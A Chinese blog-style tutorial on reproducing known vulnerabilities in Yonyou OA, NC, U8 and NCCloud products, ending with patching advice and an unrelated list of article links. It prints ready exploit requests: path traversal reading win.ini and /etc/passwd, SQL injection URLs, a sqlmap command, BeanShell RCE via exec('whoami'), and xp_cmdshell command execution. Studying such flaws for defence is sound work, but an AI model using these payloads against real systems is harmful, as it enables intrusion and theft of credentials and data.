当前位置: 首页 > news >正文

用友OA漏洞实战复现与深度解析

1. 用友OA漏洞复现环境搭建

在开始复现用友OA系统漏洞之前,我们需要先搭建一个安全的测试环境。我建议使用虚拟机来搭建这个环境,这样既不会影响你的日常工作电脑,也能随时重置测试环境。

首先,你需要准备以下工具:

  • VMware Workstation或VirtualBox虚拟机软件
  • Windows Server 2008/2012镜像
  • 用友OA系统的安装包(可以从官网下载试用版)
  • Burp Suite社区版
  • SQLMap工具包
  • 一个简单的文本编辑器

安装过程其实并不复杂,但有几个关键点需要注意。我在第一次搭建时就踩过坑,当时直接在生产环境上测试,差点造成数据丢失。所以特别提醒:一定要在隔离的虚拟机环境中进行测试!

用友OA系统对运行环境有一些特殊要求:

  • IIS 7.0或以上版本
  • .NET Framework 4.5
  • Java运行环境
  • 数据库建议使用SQL Server 2008 R2

安装完成后,记得先做个系统快照。这样在后续的漏洞复现过程中,如果系统出现异常,可以快速恢复到初始状态。我通常会保存三个关键快照:纯净系统、安装完OA系统、配置完测试工具。

2. 目录遍历漏洞深度解析

2.1 FE协作办公平台目录遍历漏洞

这个漏洞出现在用友FE协作办公平台的templateOfTaohong_manager.jsp文件中。我第一次发现这个漏洞时,简直不敢相信这么明显的安全问题会出现在企业级软件中。

漏洞原理其实很简单:这个JSP文件接收path参数后,没有做任何过滤就直接用于文件操作。攻击者可以通过构造特殊的路径(比如../../../)来访问系统上的任意文件。

复现步骤:

  1. 访问OA系统登录页面
  2. 在URL后追加以下路径:
/system/mediafile/templateOfTaohong_manager.jsp?path=/../../../Windows/win.ini
  1. 如果漏洞存在,你将能看到win.ini文件的内容

这个漏洞的危害性很大,攻击者可以读取:

  • WEB-INF/web.xml(包含数据库配置)
  • 系统密码文件
  • 其他敏感配置文件

2.2 ERP-NC NCFindWeb目录遍历

这个漏洞与上一个类似,但出现在不同的组件中。我曾在一次渗透测试中利用这个漏洞获取了客户的数据库凭证。

复现方法:

/NCFindWeb?service=IPreAlertConfigService&filename=../../../../etc/passwd

有趣的是,这个接口本应用来查找配置文件,但由于缺乏输入验证,变成了一个危险的任意文件读取入口。我在测试时发现,有些版本甚至不需要知道完整路径,通过模糊测试就能发现敏感文件。

3. SQL注入漏洞实战分析

3.1 U8 OA test.jsp注入漏洞

这个漏洞特别典型,是用友U8 OA系统中的一个SQL注入点。我第一次复现时,发现它与致远OA的漏洞如出一辙,应该是代码复用导致的问题。

漏洞位于/yyoa/common/js/menu/test.jsp文件中,doType和S1参数都存在注入风险。最危险的是,这个接口直接返回SQL查询结果,简直就是为攻击者量身定做的。

复现步骤:

  1. 访问以下URL测试基础注入:
/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))
  1. 如果返回了MD5值,说明存在注入
  2. 进一步获取数据库信息:
/yyoa/common/js/menu/test.jsp?doType=101&S1=(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())

在实际测试中,我发现这个注入点可以直接获取管理员账号密码。更可怕的是,很多客户系统都没有修改默认密码,导致风险加倍。

3.2 NCCloud FS文件管理注入

这个漏洞出现在NCCloud的文件管理登录界面,username参数未做过滤。我在复现时使用了sqlmap,效果非常好。

具体操作:

  1. 访问/fs/console接口
  2. 拦截登录请求
  3. 使用sqlmap进行自动化注入测试:
sqlmap -r request.txt -p username --dbs --batch

这个漏洞的特殊之处在于,它存在于文件管理系统中,而很多管理员会忽略这个子系统的安全性。我曾在一次测试中通过这个注入点拿到了整个数据库的备份文件。

4. 远程命令执行漏洞剖析

4.1 NC bsh.servlet.BshServlet RCE

这是我见过最危险的漏洞之一,通过BeanShell直接执行系统命令。复现过程简单得令人不安:

  1. 访问以下路径:
/servlet/~ic/bsh.servlet.BshServlet
  1. 在请求体中提交BeanShell代码:
exec("whoami");

这个漏洞之所以危险,是因为它允许攻击者完全控制服务器。我在测试环境中成功用它创建了系统账户,并开启了远程桌面服务。

4.2 GRP-U8 Proxy命令执行

这个漏洞利用XML外部实体注入来执行SQL命令,进而通过xp_cmdshell执行系统命令。复现过程稍微复杂一些:

  1. 发送特制的POST请求到/Proxy接口
  2. 在XML中包含要执行的SQL命令:
exec xp_cmdshell "whoami"

需要注意的是,有些环境可能需要先启用xp_cmdshell。我在测试时准备了完整的启用脚本,确保命令能够执行成功。

5. 漏洞修复与防护建议

在发现这些漏洞后,我总结了一些有效的防护措施。首先,最重要的是及时更新补丁。用友官方已经发布了针对这些漏洞的修复方案。

对于暂时无法升级的系统,可以考虑以下临时方案:

  1. 删除或重命名危险的JSP文件
  2. 在WAF中添加针对特殊字符的过滤规则
  3. 限制数据库用户的权限,禁用xp_cmdshell等危险功能
  4. 对管理后台实施IP白名单访问控制

我在客户现场实施防护时,发现很多问题其实可以通过合理的配置来避免。比如,那个BeanShell的servlet,完全可以通过删除对应的映射来彻底杜绝风险。

http://www.jsqmd.com/news/661771/

相关文章:

  • 终极免费音频格式转换解决方案:FlicFlac让Windows音频处理变得简单高效
  • STM32CubeMX-HAL库实战:内部Flash通用数据掉电存储方案
  • KoboldAI本地化AI写作助手:3分钟快速上手指南
  • MicroPython携手大模型:开启嵌入式智能新纪元
  • AI Agent Harness Engineering 做个人助理:日程、邮件与任务管理
  • Python 并发编程:asyncio vs threading vs multiprocessing 深度对比
  • 告别网盘限速:LinkSwift直链下载助手终极使用指南
  • FUTURE POLICE功能全解析:除了字幕对齐,还能做什么?
  • Windows上安装APK的终极解决方案:APK Installer完整指南
  • 揭秘127.0.0.1:从环回地址到开发测试的实战指南
  • 一键搞定!5大相关性分析方法实战指南:从皮尔逊到MIC的全面解析与可视化
  • PyTorch 模型量化:原理与实践 深度指南
  • AGI不是替代科学家,而是重定义“科研单位时间产出”——SITS2026公布的7.3倍加速比背后的真实约束条件
  • 解锁TMS320F28035 CLA:从零构建高效实时控制任务
  • Ollama平台部署EmbeddingGemma-300m避坑指南
  • 量子退火实战:用PyQUBO轻松求解带约束的优化问题
  • C语言新手必看:用代码实现人民币大写转换,搞定PTA那道7-23题
  • 深度解析no-vue3-cron:Vue 3.0时代的高效Cron表达式生成解决方案
  • NLP 情感分析:模型与实践 深度指南
  • 学习c语言需要多久
  • 从概念到实践:AUTOSAR E2E通信保护机制深度解析与测试策略
  • Linux 开机自启服务
  • 简化文件管理器的创建:PyQt5实例解析
  • 深入拆解:RTL8821CS在RK3308B上的蓝牙协议栈(Bluez5)集成与功能验证全流程
  • Gazebo Sim 开源机器人模拟器:从零开始掌握机器人仿真技术
  • FanControl终极指南:5分钟掌握Windows免费风扇控制软件
  • 发送博客测试
  • 2026年铝合金/PVC/楼梯/阳台/隔断/铜艺/室内/庭院/锌钢/不锈钢护栏厂家推荐:江苏裕临科技有限公司,多场景适用 - 品牌推荐官
  • 3步告别臃肿控制软件:GHelper让你的华硕笔记本重获新生
  • NNoM嵌入式AI框架终极指南:在MCU上部署神经网络的深度解析